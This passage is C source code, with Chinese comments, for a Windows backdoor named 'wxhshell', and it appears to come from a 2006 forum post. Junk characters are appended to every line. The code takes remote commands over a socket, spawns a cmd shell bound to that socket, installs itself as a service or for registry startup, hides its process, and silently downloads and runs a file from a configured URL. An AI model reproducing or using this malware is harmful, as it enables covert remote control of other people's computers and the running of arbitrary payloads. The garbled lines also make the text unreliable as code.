      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); [XlB<P=|>  
    break; "'Z- UV  
  } [*m2  
  // 安装 4QJ8Z t  
  case 'i': { k6\^p;!Y  
    if(Install()) C+N F9N  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {w^uWR4f  
    else jQj,q{eA  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); E&~nps8e  
    break; giavJ|  
    } "zZI S6j  
  // 卸载 3,aN8F1;C  
  case 'r': { y~<@x.  
    if(Uninstall()) I]}>|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8Og3yFx[rt  
    else pz doqAVI  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); o!&W sD  
    break; sP$Ks#/  
    } "t(wG{RxY  
  // 显示 wxhshell 所在路径 2}t&iG|0/  
  case 'p': { gd^Js 1Z  
    char svExeFile[MAX_PATH]; _ :^ 7a3I  
    strcpy(svExeFile,"\n\r"); w36(p{#vp  
      strcat(svExeFile,ExeFile); w>~M}Ahj  
        send(wsh,svExeFile,strlen(svExeFile),0); D!TZI  
    break; l*7?Y7FK  
    } +'03>!V  
  // 重启 K6pR8z*?  
  case 'b': { g.Hio.fVd  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); :wgfW .w  
    if(Boot(REBOOT)) -g`IH-B  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); J^3H7 ]  
    else { v@u<Ww;=@  
    closesocket(wsh); O%1/ r*  
    ExitThread(0); q'(z #h,cv  
    } {)K](S ~  
    break; FEm=w2  
    } {8NwFN.  
  // 关机 eXy"^x p^  
  case 'd': { XrN- 2HTV  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); B/eaqJ  
    if(Boot(SHUTDOWN)) PCfo  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :mv`\  
    else { _dU P7H (  
    closesocket(wsh); Nf?\AK!  
    ExitThread(0); xX@FWAj  
    } N?23 m`3  
    break; -p# ,5}  
    } zX5G;,_  
  // 获取shell fnH3 CE  
  case 's': { #o[\Dwu  
    CmdShell(wsh); Dl;d33  
    closesocket(wsh); KAb(NZK  
    ExitThread(0); E8-53"m  
    break; YL5>V$i  
  } y @apJ;_R-  
  // 退出 v:d9o.h  
  case 'x': { ^ @.G,u  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Gq]d:-7l  
    CloseIt(wsh); ]h~o],:  
    break; D[>W{g $  
    } g#W_S?  
  // 离开 M#0 @X  
  case 'q': { 3eg5oAZ)G8  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); W^xZ+]  
    closesocket(wsh); Zg $Tf  
    WSACleanup(); |Cf mcz(56  
    exit(1); IL2r9x%  
    break; ,$Tk$  
        } Vm!i  
  } eoJ]4-WFq  
  } cgyo_ k  
4 iH&:Al  
  // 提示信息 v.`+I-\.z)  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :t2B^})\  
} /PC` 0/b  
  } |U=(b,  
 .fJ*c  
  return; g@E&uyM  
} K}2Npo FS  
RG? MRxC  
// shell模块句柄 ,h!X k  
int CmdShell(SOCKET sock) aJ2H.E  
{ wD=am  
STARTUPINFO si; R{<Y4C2~  
ZeroMemory(&si,sizeof(si)); BLW]|p|1:  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ]p$zvMf}  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; \GHOg.P  
PROCESS_INFORMATION ProcessInfo; ~ hD{coVTI  
char cmdline[]="cmd"; C ktX0  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); .;slrg(5F  
  return 0; Ed=}PrE  
} & s-VSu7  
[.U^Wrd  
// 自身启动模式 6_ ]8\n  
int StartFromService(void) ^/{4'\p  
{ aQh?}=da  
typedef struct l;5`0N?QO  
{ }jcIDiSu  
  DWORD ExitStatus; (C~dkR?  
  DWORD PebBaseAddress; (rMZ  
  DWORD AffinityMask; 2f`xHI/@fj  
  DWORD BasePriority; >a9l>9fyY  
  ULONG UniqueProcessId; ITn;m  
  ULONG InheritedFromUniqueProcessId; [|<EDR  
}   PROCESS_BASIC_INFORMATION; yiO31uQt  
qvTKfIl{  
PROCNTQSIP NtQueryInformationProcess; Ws>i)6[  
6!RikEAh  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; -aN":?8(G  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; irmwc'n]  
cUC17z2D  
  HANDLE             hProcess; O#PwRud$  
  PROCESS_BASIC_INFORMATION pbi; xPvRQ  
R2Yl)2 D  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ni0LQuBp  
  if(NULL == hInst ) return 0; Y^5"qd|`  
x-4J/tm  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); LT(?#)D  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); TMY{OI8a  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); >D3z V.R  
Hir(6Bt  
  if (!NtQueryInformationProcess) return 0; (uT^Nn9L=  
4ac1m,Jlt  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); FpC~1Nau  
  if(!hProcess) return 0; k -]xSKG  
zf7rF}  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; :f]!O@.~  
J=V yyUB  
  CloseHandle(hProcess); 2 mq%|VG'  
(n}%a6M  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); E- KK  
if(hProcess==NULL) return 0; @>CG3`?}  
R ^^ 1/%  
HMODULE hMod; vo H4  
char procName[255]; I1~G$)w#  
unsigned long cbNeeded; %Il;B~t  
tgfM:kzw  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); @92gb$xT  
=<>pKQ)[  
  CloseHandle(hProcess); j aD!  
-Y2&A$cM  
if(strstr(procName,"services")) return 1; // 以服务启动 v0u\xX[H;  
!`Xt8q\r  
  return 0; // 注册表启动 oc=tI@W  
} s8yCC #H"  
"& Ff[ O*  
// 主模块 6yp+h  
int StartWxhshell(LPSTR lpCmdLine) W'd/dKU x  
{ #B\B(y  
  SOCKET wsl; j^rYFS w:Q  
BOOL val=TRUE; F;X"3F.!  
  int port=0; *<?XTs<  
  struct sockaddr_in door; :;<\5Oy ^  
1=ip ,D  
  if(wscfg.ws_autoins) Install(); sD.6"w7}  
f{f_g8f[  
port=atoi(lpCmdLine); B'!PJj  
G+fd.~aGE  
if(port<=0) port=wscfg.ws_port; (}6wAfGo  
oq243\?Y  
  WSADATA data;  .?70=8{  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; g"w)@*?K  
6,a%&1_  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   4 ;^g MI9  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); B6(h7~0(<  
  door.sin_family = AF_INET; E+:.IuXW$  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); G~O" /WM  
  door.sin_port = htons(port); 2[XltjO  
0&f\7z  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { BZ2nDW*%  
closesocket(wsl); l~CZW*/  
return 1; I>d I[U  
} Wf_CR(  
4@= aa  
  if(listen(wsl,2) == INVALID_SOCKET) { 4VC/-.At  
closesocket(wsl); 9armirfV'P  
return 1; ;Sy/N||  
} S]vW&r3`  
  Wxhshell(wsl); 6xyY+  
  WSACleanup(); KQ-,W8Q5  
a (P^e)<  
return 0; dEL3?-;'  
5Zzr5 WM  
} F ZM2   
l&vm[3  
// 以NT服务方式启动 K* 0 aXr?  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 5DmCxg  
{ #"|"cYi,  
DWORD   status = 0; iJEB ?y  
  DWORD   specificError = 0xfffffff; N\c &PS  
9/FG,9  
  serviceStatus.dwServiceType     = SERVICE_WIN32; keqr%:E8  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; :EYu 4Y  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 56"#Syj  
  serviceStatus.dwWin32ExitCode     = 0; /*AJ+K._  
  serviceStatus.dwServiceSpecificExitCode = 0; -*rHB&e  
  serviceStatus.dwCheckPoint       = 0; b{zAJ`|#[n  
  serviceStatus.dwWaitHint       = 0; -3u@hp_  
/rn"  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); kboizJp  
  if (hServiceStatusHandle==0) return; <>SR4  
Zlr{L]c  
status = GetLastError(); Sb'N];  
  if (status!=NO_ERROR) ULV)0SB  
{ G`9cd\^  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; \I'f3  
    serviceStatus.dwCheckPoint       = 0; +SAk:3.#CV  
    serviceStatus.dwWaitHint       = 0; ~*jsB=XM/  
    serviceStatus.dwWin32ExitCode     = status; @gH(/pFX  
    serviceStatus.dwServiceSpecificExitCode = specificError; @X3 gBGY)  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2f`WDL  
    return; @][ a8:Y9I  
  } "xL;(Fqu  
f37ji  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; UY1JB^J$  
  serviceStatus.dwCheckPoint       = 0; YCirOge  
  serviceStatus.dwWaitHint       = 0; dMey/A/VYt  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); pp*bqY  
} aJEbAs}  
tniPEmeS  
// 处理NT服务事件,比如:启动、停止 8f /T!5  
VOID WINAPI NTServiceHandler(DWORD fdwControl) a v'd%LZP  
{ [`y:M&@  
switch(fdwControl) C}n[?R  
{ MMd0O X)P  
case SERVICE_CONTROL_STOP: TS\9<L9S  
  serviceStatus.dwWin32ExitCode = 0; Uc_'3|e  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ERUs0na]  
  serviceStatus.dwCheckPoint   = 0; ;% /6Y~/  
  serviceStatus.dwWaitHint     = 0; q"{Up  
  { !w @1!Xpn1  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); =Jsg{vI  
  } <$RS*n  
  return; _8,vk-,'  
case SERVICE_CONTROL_PAUSE: I{`KKui<M  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; gJ<@;O8zu0  
  break; fBHkLRFH  
case SERVICE_CONTROL_CONTINUE: = 4BLc  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 73&]En  
  break; $ /}:P  
case SERVICE_CONTROL_INTERROGATE: (eC F>Wh^m  
  break; 9 Q0#We*  
}; _F}IF9{?G  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); _#/!s]$d#  
} [ c ~LY4:  
VQ1?Db(_2  
// 标准应用程序主函数 4R K.Il*d  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) zAKq7'_=  
{ @ChN_gd3!  
mXxZM;P[  
// 获取操作系统版本 @4G.(zW  
OsIsNt=GetOsVer(); r24\DvS  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ZcUh[5:|  
V-?sek{;  
  // 从命令行安装 P@gu~!  
  if(strpbrk(lpCmdLine,"iI")) Install(); ?&whE!  
DBu)xr}7A  
  // 下载执行文件 EpFIKV!  
if(wscfg.ws_downexe) { ;J,,f1Vw  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) g_rA_~dh  
  WinExec(wscfg.ws_filenam,SW_HIDE); e8~62O^  
} 1?/5A|?V4+  
30sC4}   
if(!OsIsNt) { fK)ZJ_?w,@  
// 如果时win9x,隐藏进程并且设置为注册表启动 y8<lp+  
HideProc(); c,6<7  
StartWxhshell(lpCmdLine); sh',"S#=@  
} &LCUoTzj  
else 2 ||KP|5@  
  if(StartFromService()) R-g>W  
  // 以服务方式启动 M!xm1-,[  
  StartServiceCtrlDispatcher(DispatchTable); DiZ!c "$  
else 5@w'_#!)  
  // 普通方式启动 <Z\MZ&{k{*  
  StartWxhshell(lpCmdLine); C5:dO\?O  
[JX}1%NA  
return 0; M9uH&CD6U  
}
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只看该作者 1 发表于: 2006-10-10
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